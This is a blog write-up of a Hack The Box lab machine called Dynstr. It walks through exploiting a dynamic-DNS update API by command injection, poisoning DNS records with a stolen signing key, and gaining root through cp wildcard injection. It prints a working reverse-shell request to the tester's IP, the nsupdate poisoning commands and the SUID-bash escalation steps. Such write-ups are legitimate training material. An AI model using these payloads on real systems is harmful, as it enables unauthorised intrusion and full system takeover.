• Donald Ashdown

Hack the Box Dynstr

Updated: Apr 20

Work flow


Summary

This was a rather difficult machine that involves command injection with bad character encoding for initial foothold, followed by dynamic DNS poisoning to spoof our domain and use an SSH key for lateral movement. From here we analyze a script we can run as sudo and learn about wildcard cmd injection and SUID bit passing with the CP command from GTFO bins, that allows us to manipulate permissions on the bash file and run as root.


Processes/techniques
  • Request proxying and modification

  • CND injection enumeration

  • Api enumeration/cmd injection

  • Bad character testing and encoding in CMD inject

  • DNS record signing and updating/poisening

  • Code review

  • Wild card injection

  • CP GTFO bin - SUID preservation

  • SSH key formatting

Tools used
  • burpsuite

  • GTFO bin CP

  • echo -e (escape backslash)

  • Autorecon

  • Dirbuster

  • nslookup

  • nsupdate

  • nsupdate -k


References

Enumeration

As always we start off with a basic nmap scan.


Port22 - is likely for connecting back into the box after our initial compromise.

Port53 - DNS server that will likely need to be modified or scraped for data

Port80 - http site that will require enumeration and may interact with DNS



Performing a more in-depth nmap scan shows what we expect as a standard from these ports. Something that we do not expect however is the http titles on port 80 that reads Dyna DNS.


Autorecon

As always, I am going to run autorecon in the background to pick up any additional information while we start investigating our initial nmap results.


┌──(kali㉿kali)-[~/HTB/dynstr]
└─$ sudo autorecon 10.129.245.34
[*] Scanning target 10.129.245.34


Web enumeration

This website is initially very simple and has no interactive content. So I always want something running in the background and in this case I start Owasp Dirbuster. Autorecon is already running "whatweb" in the background from the initial enumeration phase.


A look at the side menu of our target website.


Dirbuster

Starting up dirbuster eventually revealed a /nic/update directory and browsing to this directory showed a badauth response. We will revisit this for further enumeration shortly.


Page source inspection

Reviewing the page source code reveals this website is doing some type of beta testing. We also find plain text credentials that we can store for later. Lastly we identify several domains that we add to our /etc/hosts file in order to bypass our empty local DNS lookups, with the now identified subdomains.


Credentials

Username: dynadns

Password: sndanyd


The suggested domains

dnsalias.htb

dynamicdns.htb

no-ip.htb


Connection attempt 1

Attempting to connect with those credentials over SSH did not work. So my thoughts are to add the new domains to the /etc/hosts file and from there I can check for any pages that require login credentials. Otherwise, I will review the Auto Recon results and attempt to pivot my efforts into targeting the DNS for enumeration.

└─$ ssh dynadns@10.129.245.34                                                            130 ⨯
The authenticity of host '10.129.245.34 (10.129.245.34)' can't be established.
ECDSA key fingerprint is SHA256:443auWJe5iDH5JBCq/9ir4ToxZ5PTzTv7XvRSYrz0ao.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.245.34' (ECDSA) to the list of known hosts.
dynadns@10.129.245.34's password: 
Permission denied, please try again.
dynadns@10.129.245.34's password: 
Permission denied, please try again.
dynadns@10.129.245.34's password: 


Domain enumeration

After adding the below domains to the etc/hosts file, they all resolved to a page the same as the original one. From here I decided to revisit the /nic/update directory we found.


dnsalias.htb - resolved to a carbon copy

dynamicdns.htb - resolved to a carbon copy

no-ip.htb - resolved to a carbon copy


DynaDNS nic update

Revisiting our /nic/update page I took to google and quickly learned that "/nic/update" was part of an api call used by dyna dns for updating records. See reference below.'

The best way to test or enumerate a URL based API is using the repeater function within burpsuite.

https://help.dyn.com/remote-access-api/perform-update/



Burpsuite

Initially burping the port and browsing to the main webpage shows a refer to the /maps/api/js? This did not go anywhere and could of just been http cross chatter.


This iframe_api made me think about the comment in the page inspection regarding the use of the same API used by no-ip.htb inorder to receive dynamic access.



Burping the no-ip.htb domain


We can see that we are being referred to youtube with a stored cookie so we will copy that down.


Burp 10.129.245.34/nic/update

Back to our original page of interest. We revisit the badauth response on our /nic/update page.

I thought to be clever and add the cookie to the /nic/update session by injecting the cookie into the burp request. This failed and I noticed the session had not saved our cookie which made me think it was not being added/parsed properly.

Cookie: YSC=yFl4WZPQaKI; VISITOR_INFO1_LIVE=gnRjJInRzpw



I attempted to add the cookies directly through the browser page inspection dev tools with no success. I did not think this would do anything but sometimes it is good to experiment and play around with these technologies and processes.


Authenticated connection


We can leverage burpsuite to perform a basic authentication against the target, which consist of taking the username+password and base64 encoding and adding as a header "Authorization: Basic b64-username+password"


Using base64 encode we get ZHluYWRuczpzbmRhbnlk


In this instance however, I am just going to use the burp basic auth function to take care of passing the authorization in the request on my behalf. Which thankfully provides success and shows us a "Nochg" response and our target ip.


Nochg error code

Google autofill showed me nochg dyndns when I searched nochg making this part straight forwards and simple. We can quickly see that nochg is actually a return code for our web application sitting on /nic/update.

https://help.dyn.com/remote-access-api/return-codes/


Taken from the article above, it lead me to believe that nochg is part of a global dynamic dns syntax that was being used in this case by a no-ip server. Here are some snippets from my research over various articles.


A nochg indicates a successful update but the IP address or other settings have not changed.

The codes below indicate that the update of a hostname was completed successfully.
good - The update was successful, and the hostname is now updated.

nochg - The update changed no settings, and is considered abusive. Additional nochg updates will cause the hostname to become blocked.
Note that, for confirmation purposes, good and nochg messages will be followed by the IP address that the hostname
was updated to. This value will be separated from the return code by a space.

So it is clear we have authenticated as we are receiving "successful updates".

Digging a little further reveals we are dealing with a backend dynamic DNS API. This is revealed by the reference to the NIC update API which is exactly what we are working with.


Looking over the perform update function it appears we might be able to change the dns records here. I am not sure what that would accomplish but I go with the flow for some experimentation and play

https://help.dyn.com/remote-access-api/perform-update/



GET /nic/update?hostname=dnsalias.htb&myip


I eventually got a new return error, on successfully passing a hostname update command. Not that I have any idea why I would be doing this, unless the backend /etc/hosts file has something special.



After some frustration with constantly receiving the wrong domain error message, I had added the authorization header manually to the request as I was not totally sure if burpsuite was adding the basic auth properly in transit. I did this by formatting the username and password separated by a colon as such - username:password and encoding in base 64 and adding near the bottom of our header. This initially did nothing and removed the possibility of a bad auth from our problem. After some time I appended junk characters out of frustration to dnsalias.htb and I received a response of "good".


This was not making a whole lot of sense but I had a response that suggested we proper usage of the API. Just for fun I tried some command injection utilizing quotes and string terminators to test for errors and it worked. So from here I decided to abandoned DNS route updates and go head on with command injection to try and get that bash reverse shell. This however presented some issues when coming to the spaces in the commands, which interfered with our double quote escape character that allows the escape and command injection to begin with.

Reference

https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/12-Testing_for_Command_Injection


In order to address this, some tinkering and experimenting showed that we could get the same result by passing a variable instead of a plain string.

From here I reviewed references for command injection and spent some time reviewing the colbat strike cheat sheet. If you have never seen it, I have included a link below and it is worth putting in the toolbox.


Reference

https://cobalt.io/blog/a-pentesters-guide-to-command-injection



After a considerable amount of time testing and reviewing the internet and HTB forums for help. I learned that several steps were required. This level of command injection was new to me and not something I was familiar with. I had historical only dealt with URL encoding with cmd injection over URL API's but never escape characters such as the periods in our ip addresses.

  1. URL encoding the command to deal with whitespaces and bad characters

  2. Enclosing our command with backticks ` instead of quotes or variable parenthesis.

  3. Encoding our ip address to deal with the periods acting as escape characters via lack of output in the responses.

The final command looked like this:

GET /nic/update?hostname=test`bash+-c+'bash+-i+>%26+/dev/tcp/0x0a0a0e35/6363+0>%261'`aaa.dnsalias.htb&myip=10.10.14.21 HTTP/1.1



Initial foothold

We start off by attempting to upgrade our shell as always to provide more persistence and flexibility. The following command was utilized but I did not have an upgraded shell. After several more attempts I gave up, as I kept losing my connection when I tried to pivot from the python upgrade to the fuller interactive shell with stt raw -echo.


www-data@dynstr:/var/www/html/nic$ python3 -c 'import pty; pty.spawn("/bin/bash")'

Attempt user.txt cat #1


My first attempt to access the user flag failed with permissions being denied. This is suggestive that we have to move laterally to user bindmgr where the flag is.

Moving laterally

Revisiting the directory we initially landed in we can see a file and folder. Reviewing the update file showed the API that was handling our requests for the Dyna NIC update API located at /nic/update.

www-data@dynstr:/var/www/html/nic$ ls
ls
index.html
update


www-data@dynstr:/var/www/html/nic$ cat update
cat update


<?php
  // Check authentication
  if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW']))      { echo "badauth\n"; exit; }
  if ($_SERVER['PHP_AUTH_USER'].":".$_SERVER['PHP_AUTH_PW']!=='dynadns:sndanyd') { echo "badauth\n"; exit; }

  // Set $myip from GET, defaulting to REMOTE_ADDR
  $myip = $_SERVER['REMOTE_ADDR'];
  if ($valid=filter_var($_GET['myip'],FILTER_VALIDATE_IP))                       { $myip = $valid; }

  if(isset($_GET['hostname'])) {
    // Check for a valid domain
    list($h,$d) = explode(".",$_GET['hostname'],2);
    $validds = array('dnsalias.htb','dynamicdns.htb','no-ip.htb');
    if(!in_array($d,$validds)) { echo "911 [wrngdom: $d]\n"; exit; }
    // Update DNS entry
    $cmd = sprintf("server 127.0.0.1\nzone %s\nupdate delete %s.%s\nupdate add %s.%s 30 IN A %s\nsend\n",$d,$h,$d,$h,$d,$myip);
    system('echo "'.$cmd.'" | /usr/bin/nsupdate -t 1 -k /etc/bind/ddns.key',$retval);
    // Return good or 911
    if (!$retval) {
      echo "good $myip\n";
    } else {
      echo "911 [nsupdate failed]\n"; exit;
    }
  } else {
    echo "nochg $myip\n";
  }
?>
www-data@dynstr:/var/www/html/nic$ 



So moving on, we proceeded to investigate the folde r found inside of the bindmgr folder where we found the user.txt script.


bindmgr@dynstr:~/support-case-C62796521$ ls
C62796521-debugging.script  C62796521-debugging.timing  command-output-C62796521.txt  strace-C62796521.txt

Reviewing the strace file we found a private ssh key :O



I tried to use this private ssh key and was receiving an invalid format error and some research reminded me that the SSH keys have to be formatted in a certain way. This involves predefined line lengths in order to complete the ssh handshake properly and no escape characters. In this above key we have many escape characters in the form of new lines "\n".


Some research eventually yielded the echo -e command which parses escape characters and allows us to reformat the ssh key.


Trying the now formatted SSH key again yielded a password prompt which means the key did not work. From hear I took a step back and uploaded linpeas to our target machine and it managed to find the public ssh key in /bindmgr/.ssh/authorized_keys. From here we can see there is a conditional access clause for our source domain to be a child domain of the infra.dyn.htb domain.



Poison the DNS

In order to satisfy the conditional access for authorized_keys we will have to trick the target into thinking our source IP is from the *.infra.dyna.htb root domain. Well the SSH handschake involves looking for the A and PTR record as apart of the process. Because our machine is related to dynamic DNS we can eventually arrive at the conclusion that this is a suggested attack surface.


In order to poison the DNS we would need to be able to update the A and PTR records of the DNS server to point *.infra.dyna.htb to our kali machine.

We can do this using nsupdate and verify externally from our Kali machine with nslookup. However before we add any records to our DNS we are going to need a key in order to sign the record. After some research on linux DNS I was reminded that the /bind/ folder houses the dns signing authority key "ddns.key" which would be restricted to root by default.


bindmgr@dynstr:/etc/bind$ ls -la
total 68
drwxr-sr-x  3 root bind 4096 Mar 20  2021 .
drwxr-xr-x 80 root root 4096 Jun  8 19:20 ..
-rw-r--r--  1 root root 1991 Feb 18  2021 bind.keys
-rw-r--r--  1 root root  237 Dec 17  2019 db.0
-rw-r--r--  1 root root  271 Dec 17  2019 db.127
-rw-r--r--  1 root root  237 Dec 17  2019 db.255
-rw-r--r--  1 root root  353 Dec 17  2019 db.empty
-rw-r--r--  1 root root  270 Dec 17  2019 db.local
-rw-r--r--  1 root bind  100 Mar 15  2021 ddns.key
-rw-r--r--  1 root bind  101 Mar 15  2021 infra.key
drwxr-sr-x  2 root bind 4096 Mar 15  2021 named.bindmgr
-rw-r--r--  1 root bind  463 Dec 17  2019 named.conf
-rw-r--r--  1 root bind  498 Dec 17  2019 named.conf.default-zones
-rw-r--r--  1 root bind  969 Mar 15  2021 named.conf.local
-rw-r--r--  1 root bind  895 Mar 15  2021 named.conf.options
-rw-r-----  1 bind bind  100 Mar 15  2021 rndc.key
-rw-r--r--  1 root root 1317 Dec 17  2019 zones.rfc1918

Several attempts to update our DNS records with the ddns.key fail. Because there is no original authentication response when you bind a signing key, we have to play around to determine if we can leverage the key or not. Eventually we switched over to the infra.key and it totally worked!


A record configuration

www-data@dynstr:/$ nsupdate -k /etc/bind/infra.key

nsupdate -k /etc/bind/infra.key

update add aaa.infra.dyna.htb 8600 A 10.10.14.12


PTR configuration

www-data@dynstr:/$ nsupdate -k /etc/bind/infra.key

nsupdate -k /etc/bind/infra.key

update add 11.14.10.10.in-addr.arpa 500 PTR aaa.infra.dyna.htb

send


After updating the A and PTR records in DNS we were successfully able to SSH in without formatted key as user bindmgr.




Root

Starting off I always upload linpeas however in this case my knee jerk reaction was to run sudo-l and we see that we can run a script as root. Let's review this script to learn more about it.



bindmgr@dynstr:~$ cat /usr/local/bin/bindmgr.sh

#!/usr/bin/bash


# This script generates named.conf.bindmgr to workaround the problem

# that bind/named can only include single files but no directories.

#

# It creates a named.conf.bindmgr file in /etc/bind that can be included

# from named.conf.local (or others) and will include all files from the

# directory /etc/bin/named.bindmgr.

#

# NOTE: The script is work in progress. For now bind is not including

# named.conf.bindmgr.

#

# TODO: Currently the script is only adding files to the directory but

# not deleting them. As we generate the list of files to be included

# from the source directory they won't be included anyway.


BINDMGR_CONF=/etc/bind/named.conf.bindmgr

BINDMGR_DIR=/etc/bind/named.bindmgr


indent() { sed 's/^/ /'; }


# Check versioning (.version)

echo "[+] Running $0 to stage new configuration from $PWD."

if [[ ! -f .version ]] ; then

echo "[-] ERROR: Check versioning. Exiting."

exit 42

fi

if [[ "`cat .version 2>/dev/null`" -le "`cat $BINDMGR_DIR/.version 2>/dev/null`" ]] ; then

echo "[-] ERROR: Check versioning. Exiting."

exit 43

fi


# Create config file that includes all files from named.bindmgr.

echo "[+] Creating $BINDMGR_CONF file."

printf '// Automatically generated file. Do not modify manually.\n' > $BINDMGR_CONF

for file in * ; do

printf 'include "/etc/bind/named.bindmgr/%s";\n' "$file" >> $BINDMGR_CONF

done


# Stage new version of configuration files.

echo "[+] Staging files to $BINDMGR_DIR."

cp .version * /etc/bind/named.bindmgr/


# Check generated configuration with named-checkconf.

echo "[+] Checking staged configuration."

named-checkconf $BINDMGR_CONF >/dev/null

if [[ $? -ne 0 ]] ; then

echo "[-] ERROR: The generated configuration is not valid. Please fix following errors: "

named-checkconf $BINDMGR_CONF 2>&1 | indent

exit 44

else

echo "[+] Configuration successfully staged."

# *** TODO *** Uncomment restart once we are live.

# systemctl restart bind9

if [[ $? -ne 0 ]] ; then

echo "[-] Restart of bind9 via systemctl failed. Please check logfile: "

systemctl status bind9

else

echo "[+] Restart of bind9 via systemctl succeeded."

fi

fi


Code review

Let us start with breaking down the code block by block.


# Check versioning (.version)

  • Check if file .version exists in working directory or error

  • Check if .version in /bind/ is less than .version in PWD or error

#Create config file that includes all files form named.bindmgr

  • For everything (Wild card) in current directory print it into /etc/bind/named.bindmgr/

  • This will be done as root as per the sudo -l configuration

#stage new version of configuration files

  • Bash is taking every file in the directory and passing it directly to the command line

  • The wild card is the vulnerability and is known as wildcard injection, a vulnerability on unix machines

  • https://materials.rangeforce.com/tutorial/2019/11/08/Linux-PrivEsc-Wildcard/



Work flow to exploit

Summary:

In this exploit we are looking to firstly satisfy a condition of a file check, to the extent that the .version in our PWD needs to be of greater value than the .version file in /etc/bind/named.bindmgr/ directory. If this is true, then the script will copy everything in our current working directory to /etc/bind/named.bindmgr.


So having satisfied the .version file check, we will proceed to exploit the copy function (cp) in the bindmgr.sh script by reviewing it on GTFO bins and learning we can pass SUID permissions through the copy command. From here we copy over /bin/bash and change permissions to full SUID with chmod 7777. However these permissions are not carried over by default unless the copy command calls the --preserve=mode flag.


So this is where the wild card in the script becomes the lynch pin vulnerability here, allowing us to use escape characters to pass arguments to the cmd line when it reads all (*) files in our directory. This is performed by creating a file and using comments to escape the the cp command run by the script. We create the preserve=mode flag by creating a file named '--preserve=mode'. Which will be parsed as a command line argument in the place of * which is right after the cp command in the script. Thus giving us "cp --preserve=mode".


  1. Create .version in PWD with a greater value than the previous .version in /bin/ to satisfy first condition.

  2. Run bindmgr.sh as sudo and test output. We should see files in PWD appear in /bind/named.bindmgr/.

  3. Exploit wildcard by injecting '--preserve=mode' command in the DIR as a file to leverage cp GTFO bin attack passed to cmd line.

  4. Copy over /bin/bash into PWD.

  5. Chmod permissions for setuid on /bin/bash.

  6. Run bindmgr.sh as sudo

  7. Run bash -p



  1. bindmgr@dynstr:~$ echo "63" > .version

2. Test the script as sudo, and confirm if files in PWD copy to /named.bindmgr/

bindmgr@dynstr:~$ sudo ../../usr/local/bin/bindmgr.sh 
sudo: unable to resolve host dynstr.dyna.htb: Name or service not known
[+] Running /usr/local/bin/bindmgr.sh to stage new configuration from /home/bindmgr.
[+] Creating /etc/bind/named.conf.bindmgr file.
[+] Staging files to /etc/bind/named.bindmgr.
cp: -r not specified; omitting directory 'support-case-C62796521'
[+] Checking staged configuration.
[-] ERROR: The generated configuration is not valid. Please fix following errors: 
    /etc/bind/named.bindmgr/linpeas.sh:3: unknown option 'VERSION='
    /etc/bind/named.bindmgr/linpeas.sh:9: unknown option 'then'
    /etc/bind/named.bindmgr/linpeas.sh:52: unknown option 'then'
    /etc/bind/named.bindmgr/linpeas.sh:52: unknown option 'else'
    /etc/bind/named.bindmgr/linpeas.sh:52: unknown option 'fi'
    /etc/bind/named.bindmgr/linpeas.sh:89: unknown option 'do'
    /etc/bind/named.bindmgr/linpeas.sh:91: unknown option 'exit'
             
bindmgr@dynstr:~$ ls -la ../../etc/bind/named.bindmgr/
total 484
drwxr-sr-x 2 root bind   4096 Nov  6 21:05 .
drwxr-sr-x 3 root bind   4096 Nov  6 21:05 ..
-rwxr-xr-x 1 root bind 477235 Nov  6 21:05 linpeas.sh
-r-------- 1 root bind     33 Nov  6 21:05 user.txt
-rw-r--r-- 1 root bind      3 Nov  6 21:05 .version

3.

bindmgr@dynstr:~$ touch -- '--preserve=mode'

bindmgr@dynstr:~$ ls

linpeas.sh '--preserve=mode' support-case-C62796521 user.txt



4.

bindmgr@dynstr:~$ cp /bin/bash .

bindmgr@dynstr:~$ ls

bash linpeas.sh '--preserve=mode' support-case-C62796521 user.txt


5.

bindmgr@dynstr:~$ chmod 7777 bash

bindmgr@dynstr:~$ ls -la

total 1668

drwxr-xr-x 6 bindmgr bindmgr 4096 Nov 6 21:10 .

drwxr-xr-x 4 root root 4096 Mar 15 2021 ..

-rwsrwsrwt 1 bindmgr bindmgr 1183448 Nov 6 21:10 bash


6.

bindmgr@dynstr:~$ sudo ../../usr/local/bin/bindmgr.sh


7.

bindmgr@dynstr:~$ ../../etc/bind/named.bindmgr/bash -p

bash-5.0# whoami

root


Here is an overview of the file directory before copying with bindmgr.sh






34 views0 comments